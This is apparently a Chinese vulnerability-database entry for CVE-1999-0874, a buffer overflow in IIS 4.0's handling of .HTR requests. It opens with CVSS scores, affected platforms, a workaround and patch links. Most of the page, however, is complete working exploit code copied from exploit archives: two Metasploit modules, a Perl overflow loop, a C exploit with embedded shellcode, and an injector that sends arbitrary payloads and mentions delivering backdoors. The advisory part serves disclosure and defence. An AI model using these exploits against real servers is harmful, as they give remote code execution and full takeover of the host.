CVE-1999-0874
CVSS10.0
发布时间 :1999-06-16 00:00:00
修订时间 :2008-09-09 00:00:00
NMCOEP    

[原文]Buffer overflow in IIS 4.0 allows remote attackers to cause a denial of service via a malformed request for files with .HTR, .IDC, or .STM extensions.


[CNNVD]Microsoft IIS 4.0 .HTR ISAPI扩展远程缓冲区溢出漏洞(MS99-019)(CNNVD-199906-019)

        
        IIS 4.0是一款Windows NT系统自带的的Web服务器软件,由Microsoft公司开发维护。
        IIS 4.0在处理以.HTR为后缀的文件请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞通过溢出攻击以Web进程的权限在目标系统上执行任意指令。
        IIS支持对一些特定文件名后缀(如.ASP、.IDC、.HTR)的文件请求执行进一步的处理,当服务器接到此类文件的请求时,每种后缀的文件由一个特定的DLL文件处理。ISM.DLL用于处理.HTR、.STM、.IDC为后缀的文件请求,IIS的HTR ISAPI扩展在处理超长的htr文件名存在缓冲溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击进行拒绝服务攻击或者以Local System的权限在目标系统上执行任意指令,从而完全控制主机。此ISAPI文件扩展映射默认情况下是打开的。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_2000Microsoft Windows 2000
cpe:/o:microsoft:windows_nt:4.0Microsoft Windows NT 4.0
cpe:/a:microsoft:internet_information_server:4.0Microsoft IIS 4.0
cpe:/o:microsoft:windows_ntMicrosoft Windows NT

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:915IIS4.0 Buffer Overflow
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0874
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0874
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199906-019
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms99-019.asp
(PATCH)  MS  MS99-019
http://www.eeye.com/html/Research/Advisories/AD06081999.html
(UNKNOWN)  EEYE  AD06081999
http://www.ciac.org/ciac/bulletins/j-048.shtml
(UNKNOWN)  CIAC  J-048
http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;Q234905
(UNKNOWN)  MSKB  Q234905

- 漏洞信息

Microsoft IIS 4.0 .HTR ISAPI扩展远程缓冲区溢出漏洞(MS99-019)
危急 未知
1999-06-16 00:00:00 2005-05-02 00:00:00
远程  
        
        IIS 4.0是一款Windows NT系统自带的的Web服务器软件,由Microsoft公司开发维护。
        IIS 4.0在处理以.HTR为后缀的文件请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞通过溢出攻击以Web进程的权限在目标系统上执行任意指令。
        IIS支持对一些特定文件名后缀(如.ASP、.IDC、.HTR)的文件请求执行进一步的处理,当服务器接到此类文件的请求时,每种后缀的文件由一个特定的DLL文件处理。ISM.DLL用于处理.HTR、.STM、.IDC为后缀的文件请求,IIS的HTR ISAPI扩展在处理超长的htr文件名存在缓冲溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击进行拒绝服务攻击或者以Local System的权限在目标系统上执行任意指令,从而完全控制主机。此ISAPI文件扩展映射默认情况下是打开的。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 删除.HTR文件扩展到ISM.DLL文件的映射:
        -点击开始 | 程序 | Windows NT 4.0 Option Pack | Microsoft Internet 信息服务 | Internet 服务管理器,启动Internet 服务管理器;
        -双击"Internet 信息服务";
        -右击计算机名,选择特性;
        -在master属性下拉框,选择"WWW 服务",接着点击"编辑"按钮;
        -点击"主目录"菜单条,接着点击"配置"按钮;
        -在扩展映射里选中".htr"选项,接着点击"删除"按钮;
        -系统提示"删除指定的脚本映射?"时,回答"是"。点击"是"三次,关闭ISM,然后重启IIS服务。
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS99-019)以及相应补丁:
        MS99-019:Workaround Available for "Malformed HTR Request" Vulnerability
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS99-019.asp

        补丁下载:
        ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/

- 漏洞信息 (16468)

Microsoft IIS 4.0 .HTR Path Overflow (EDBID:16468)
windows remote
2010-04-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: ms02_018_htr.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS 4.0 .HTR Path Overflow',
			'Description'    => %q{
					This exploits a buffer overflow in the ISAPI ISM.DLL used to
				process HTR scripting in IIS 4.0. This module works against
				Windows NT 4 Service Packs  3, 4, and 5. The server will
				continue to process requests until the payload being
				executed has exited. If you've set EXITFUNC to 'seh', the
				server will continue processing requests, but you will have
				trouble terminating a bind shell. If you set EXITFUNC to
				thread, the server will crash upon exit of the bind shell.
				The payload is alpha-numerically encoded without a NOP sled
				because otherwise the data gets mangled by the filters.
			},
			'Author'         => [ 'stinko' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '1999-0874'],
					[ 'OSVDB', '3325'],
					[ 'BID', '307'],
					[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
					[ 'MSB', 'MS02-018'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2048,
					'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
					['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
					['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
				],
			'DisclosureDate' => 'Apr 10 2002',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end

	def exploit
		connect

		buf = 'X' * target['Rets'][0]
		buf << [ target['Rets'][1] ].pack('V')
		buf << payload.encoded

		req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
		print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
		sock.put(req)
		handler
		disconnect
	end

end
		

- 漏洞信息 (19245)

Microsoft IIS 4.0 Buffer Overflow Vulnerability (1) (EDBID:19245)
windows remote
1999-06-15 Verified
0 eEye Digital Security Team
N/A [点击下载]
source: http://www.securityfocus.com/bid/307/info

Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.

IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.


Use the following script to test your site:

#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}

http://www.exploit-db.com/sploits/19245.exe		

- 漏洞信息 (19246)

Microsoft IIS 4.0 Buffer Overflow Vulnerability (2) (EDBID:19246)
windows remote
1999-06-15 Verified
0 Stinko
N/A [点击下载]
source: http://www.securityfocus.com/bid/307/info
 
Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.
 
IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::iis40_htr;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
    'Name'  => 'IIS 4.0 .HTR Buffer Overflow',
    'Version'  => '$Revision: 1.4 $',
    'Authors' => [ 'Stinko', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32' ],
    'Priv'  => 0,
    'UserOpts'  => {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 80],
                    'SSL'   => [0, 'BOOL', 'Use SSL'],
                },

    'Payload' => {
                 'Space'  => 2048,
                 'MaxNops' => 0,
                 'MinNops' => 0,
                 'BadChars'  =>
                    join("", map { $_=chr($_) } (0x00 .. 0x2f)).
                    join("", map { $_=chr($_) } (0x3a .. 0x40)).
                    join("", map { $_=chr($_) } (0x5b .. 0x60)).
                    join("", map { $_=chr($_) } (0x7b .. 0xff)),
                 },


    'Description'  => Pex::Text::Freeform(qq{
        This exploits a buffer overflow in the ISAPI ISM.DLL used
        to process HTR scripting in IIS 4.0. This module works against
        Windows NT 4 Service Packs  3, 4, and 5. The server will continue
        to process requests until the payload being executed has exited.
        If you've set EXITFUNC to 'seh', the server will continue processing
        requests, but you will have trouble terminating a bind shell. If you
        set EXITFUNC to thread, the server will crash upon exit of the bind
        shell. The payload is alpha-numerically encoded without a NOP sled
        because otherwise the data gets mangled by the filters.
    }),

    'Refs'  =>  [   
                     ['OSVDB', 3325],
                     ['BID', 307],
                     ['CVE', '1999-0874'],
                     ['URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
                ],
    'DefaultTarget' => 0,
    'Targets' => [
	           ['Windows NT4 SP3', 593, 0x77f81a4d],
                   ['Windows NT4 SP4', 593, 0x77f7635d],
                   ['Windows NT4 SP5', 589, 0x77f76385],
                 ],
    'Keys' => ['iis'],
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit
{
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

    my $target = $self->Targets->[$target_idx];

    my $pattern = ("X" x $target->[1]);
    $pattern .= pack("V", $target->[2]);
    $pattern .= $shellcode;
    
    my $request = "GET /" . $pattern . ".htr HTTP/1.0\r\n\r\n";

    $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp eax at 0x%.8x...", $target->[2]));

    my $s = Msf::Socket::Tcp->new
    (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
    );
    if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return;
    }

    $s->Send($request);
    $s->Close();
    return;
}

		

- 漏洞信息 (19247)

Microsoft IIS 4.0 Buffer Overflow Vulnerability (3) (EDBID:19247)
linux remote
1999-06-15 Verified
0 eeye security
N/A [点击下载]
source: http://www.securityfocus.com/bid/307/info
  
Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.
  
IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.

/* iis 4.0 exploit
 * by eeye security
 *
 * ported to unix/C by the teso crew.
 *
 * shoutouts to #hax and everyone else knowing us...
 *  you know who you are.
 *
 * gcc -o tesoiis tesoiis.c -Wall
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int     net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, char *sourceip,
        unsigned short int sourceport, int sec);

void    net_write (int fd, const char *str, ...);

unsigned long int       net_resolve (char *host);

char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */

#define URL_OFFSET      1055

char front[] = "GET /AAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87"
        "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50"
        "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32"
        "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43"
        "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b"
        "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0"
        "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51"
        "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43"
        "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43"
        "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1"
        "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75"
        "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59"
        "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
        "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab"
        "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90"
        "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8"
        "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66"
        "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92"
        "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc"
        "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3"
        "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a"
        "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50"
        "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b"
        "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8"
        "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4"
        "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc"
        "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff"
        "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55"
        "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90"
        "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53"
        "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98"
        "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86"
        "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66"
        "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d"
        "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21"
        "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90"
        "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95"
        "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82"
        "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21"
/* stick it in here */
        "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
        "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
        "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
        "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
        "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
        "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
        "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
        "\x21\x21\x21"
        ".htr HTTP/1.0";
        
void
usage (void)
{
        printf ("usage: ./tesoiis host port url\n");
        exit (EXIT_FAILURE);
}
        
int
main (int argc, char *argv[])
{
        /* yadda,yadda.. you can try exploiting our exploit!!
         * update: hmm.. is this exploitable? gets EIP touched by exit()?
         * gotta check this later...
         */
        
        char                    host[256], url[256];
        int                     port,sd,t = 0;
        int                     m = 0;
        char                    *cc, *pfft;
        struct sockaddr_in      cs;

        printf ("teso crew IIS exploit.. shellcode by eEye.\n");
        printf ("------------------------------------------\n");
        if (argc < 4)
                usage();
        
        strcpy (host, argv[1]);
        strcpy (url, argv[3]);

        port = atoi (argv[2]);
        if ((port < 1) || (port > 65535))
                usage();

        cc = url;
        pfft = front + URL_OFFSET;

        while (*cc) { 
                if (*cc == '/' && 0 == t) {
                        memcpy (pfft, stuff, 6);
                        pfft += 6;
                        t = 1;
                } else {
                        *pfft = *cc + 0x21;
                        pfft++;
                }
                cc++;
                m += 1;
        }

        printf ("Host: %s Port: %d Url: %s\n", host, port, url);
        
        printf ("Connecting... ");
        fflush (stdout);
        sd = net_connect (&cs, host, port, NULL, 0, 30);
   
        if (sd < 1) {
                printf ("failed!\n");
                exit (EXIT_FAILURE);
        }
         
        printf ("done.. sending shellcode..");
        fflush (stdout);
        
        net_write (sd, "%s\n\n", front);
        
        printf ("done.. closing fd!\n");
        close (sd);

        printf ("%s\n", front);

        exit (EXIT_SUCCESS);
}
        
int
net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
                unsigned short int sourceport, int sec)
{
        int             n, len, error, flags;
        int             fd;
        struct timeval  tv;
        fd_set          rset, wset;

        /* first allocate a socket */
        cs->sin_family = AF_INET;
        cs->sin_port = htons (port);
                        
        fd = socket (cs->sin_family, SOCK_STREAM, 0);
        if (fd == -1)
                return (-1);
                        
        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
                close (fd);
                return (-1);
        }

        flags = fcntl (fd, F_GETFL, 0);
        if (flags == -1) {
                close (fd);
                return (-1);
        }
        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1) {
                close (fd);
                return (-1);
        }

        error = 0;
        
        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
        if (n < 0) {
                if (errno != EINPROGRESS) {
                        close (fd);
                        return (-1);
                }  
        }
        if (n == 0)
                goto done;
        
        FD_ZERO(&rset);
        FD_ZERO(&wset);
        FD_SET(fd, &rset);
        FD_SET(fd, &wset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        n = select(fd + 1, &rset, &wset, NULL, &tv);
        if (n == 0) {
                close(fd);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1)
                return (-1);
        
        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                        len = sizeof(error);
                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                                errno = ETIMEDOUT;
                                return (-1);
                        }
                        if (error == 0) {
                                goto done;
                        } else {
                                errno = error;
                                return (-1);
                        }
                }
        } else
                return (-1);
 
done:
        n = fcntl(fd, F_SETFL, flags);
        if (n == -1)
                return (-1);
        return (fd);
}
                
unsigned long int
net_resolve (char *host)
{
        long            i;
        struct hostent  *he;

        i = inet_addr(host);
        if (i == -1) { 
                he = gethostbyname(host);
                if (he == NULL) {
                        return (0);
                } else {
                        return (*(unsigned long *) he->h_addr);
                }
        }
        return (i);  
}

void
net_write (int fd, const char *str, ...)
{
        char    tmp[8192];
        va_list vl;
        int     i;
                
        va_start(vl, str);
        memset(tmp, 0, sizeof(tmp));
        i = vsnprintf(tmp, sizeof(tmp), str, vl);
        va_end(vl);

        send(fd, tmp, i, 0);
        return;
}

		

- 漏洞信息 (19248)

Microsoft IIS 4.0 Buffer Overflow Vulnerability (4) (EDBID:19248)
windows remote
1999-06-15 Verified
0 Greg Hoglund
N/A [点击下载]
source: http://www.securityfocus.com/bid/307/info
   
Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.
   
IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.

// IIS Injector for NT
// written by Greg Hoglund <hoglund@ieway.com>
// http://www.rootkit.com
//
// If you would like to deliver a payload, it must be stored in a binary file.
// This injector decouples the payload from the injection code allowing you to
// create a numnber of different attack payloads.  This code could be used, for
// example, by a military that needs to attack IIS servers, and has characterized
// the eligible hosts.  The proper attack can be chosen depending on needs. Since
// the payload is so large with this injection vector, many options are available.
// First and foremost, virii can delivered with ease.  The payload is also plenty
// large enough to remotely download and install a back door program.
// Considering the monoculture of NT IIS servers out on the 'Net, this represents a
// very serious security problem.

#include <windows.h>
#include <stdio.h>
#include <winsock.h>

void main(int argc, char **argv)
{
        SOCKET s = 0;
        WSADATA wsaData;

        if(argc < 2)
        {
                fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \
                        "http://www.rootkit.com\nUsage: %s <target" \
                                                "ip> <optional payload file>\n", argv[0]);
                exit(0);
        }

        WSAStartup(MAKEWORD(2,0), &wsaData);

        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(INVALID_SOCKET != s)
        {
                SOCKADDR_IN anAddr;
                anAddr.sin_family = AF_INET;
                anAddr.sin_port = htons(80);
                anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
   
                if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
                {
                        static char theSploit[4096];
                        // fill pattern
                        char kick = 'z'; //0x7a
                        char place = 'A';

                        // my uber sweet pattern gener@t0r
                        for(int i=0;i<4096;i+=4)
                        {
                                theSploit[i] = kick;
                                theSploit[i+1] = place;
                                theSploit[i+2] = place + 1;
                                theSploit[i+3] = place + 2;

                                if(++place == 'Y') // beyond 'XYZ'
                                {
                                        place = 'A';
                                        if(--kick < 'a') kick = 'a';
                                }
                        }

                        _snprintf(theSploit, 5, "get /");
                        _snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0");

                        // after crash, looks like inetinfo.exe is jumping to    the address
                        // stored @ location 'GHtG' (0x47744847)
                        // cross reference back to the buffer pattern, looks like we need
                        // to store our EIP into theSploit[598]

                        // magic eip into NTDLL.DLL   
                        theSploit[598] = (char)0xF0;
                        theSploit[599] = (char)0x8C;
                        theSploit[600] = (char)0xF8;
                        theSploit[601] = (char)0x77;
                
                        // code I want to execute
                        // will jump foward over the
                        // embedded eip, taking us
                        // directly to the payload
                        theSploit[594] = (char)0x90;  //nop
                        theSploit[595] = (char)0xEB;  //jmp
                        theSploit[596] = (char)0x35;  //
                        theSploit[597] = (char)0x90;  //nop
          
                        // the payload.  This code is executed remotely.
                        // if no payload is supplied on stdin, then this default
                        // payload is used.  int 3 is the debug interrupt and
                        // will cause your debugger to "breakpoint" gracefully.
                        // upon examiniation you will find that you are sitting
                        // directly in this code-payload.
                        if(argc < 3)
                        {
                                theSploit[650] = (char) 0x90; //nop
                                theSploit[651] = (char) 0x90; //nop
                                theSploit[652] = (char) 0x90; //nop
                                theSploit[653] = (char) 0x90; //nop
                                theSploit[654] = (char) 0xCC; //int 3
                                theSploit[655] = (char) 0xCC; //int 3
                                theSploit[656] = (char) 0xCC; //int 3
                                theSploit[657] = (char) 0xCC; //int 3
                                theSploit[658] = (char) 0x90; //nop
                                theSploit[659] = (char) 0x90; //nop
                                theSploit[660] = (char) 0x90; //nop  
                                theSploit[661] = (char) 0x90; //nop
                        }
                        else    
                        {
                                // send the user-supplied payload from
                                // a file.  Yes, that's a 2K buffer for
                                // mobile code.  Yes, that's big.
                                FILE *in_file;
                                in_file = fopen(argv[2], "rb");
                                if(in_file)
                                {
                                        int offset = 650;
                                        while( (!feof(in_file)) && (offset < 3000))
                                        {
                                                theSploit[offset++] = fgetc(in_file);
                                        }
                                        fclose(in_file);
                                }
                        }
                        send(s, theSploit, strlen(theSploit), 0);
                }
                closesocket(s);
        }
}

		

- 漏洞信息 (F83134)

Microsoft IIS 4.0 .HTR Path Overflow (PacketStormID:F83134)
2009-11-26 00:00:00
stinko  metasploit.com
exploit,overflow,shell
windows,nt
CVE-1999-0874
[点击下载]

This exploits a buffer overflow in the ISAPI ISM.DLL used to process HTR scripting in IIS 4.0. This Metasploit module works against Windows NT 4 Service Packs 3, 4, and 5. The server will continue to process requests until the payload being executed has exited. If you've set EXITFUNC to 'seh', the server will continue processing requests, but you will have trouble terminating a bind shell. If you set EXITFUNC to thread, the server will crash upon exit of the bind shell. The payload is alpha-numerically encoded without a NOP sled because otherwise the data gets mangled by the filters.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft IIS 4.0 .HTR Path Overflow',
			'Description'    => %q{
				This exploits a buffer overflow in the ISAPI ISM.DLL used to
				process HTR scripting in IIS 4.0. This module works against
				Windows NT 4 Service Packs  3, 4, and 5. The server will
				continue to process requests until the payload being
				executed has exited. If you've set EXITFUNC to 'seh', the
				server will continue processing requests, but you will have
				trouble terminating a bind shell. If you set EXITFUNC to
				thread, the server will crash upon exit of the bind shell.
				The payload is alpha-numerically encoded without a NOP sled
				because otherwise the data gets mangled by the filters.
					
			},
			'Author'         => [ 'stinko' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '1999-0874'],
					[ 'OSVDB', '3325'],
					[ 'BID', '307'],
					[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
					[ 'MSB', 'MS02-018'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2048,
					'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
					['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
					['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
				],
			'DisclosureDate' => 'Apr 10 2002',
			'DefaultTarget' => 0))
			
		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end

	def exploit
		connect

		buf = 'X' * target['Rets'][0]
		buf << [ target['Rets'][1] ].pack('V')
		buf << payload.encoded
		
		req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
		print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
		sock.put(req)
		handler
		disconnect
	end

end
    

- 漏洞信息

97
Microsoft IIS ISM.DLL HTR Request Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1999-06-08 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

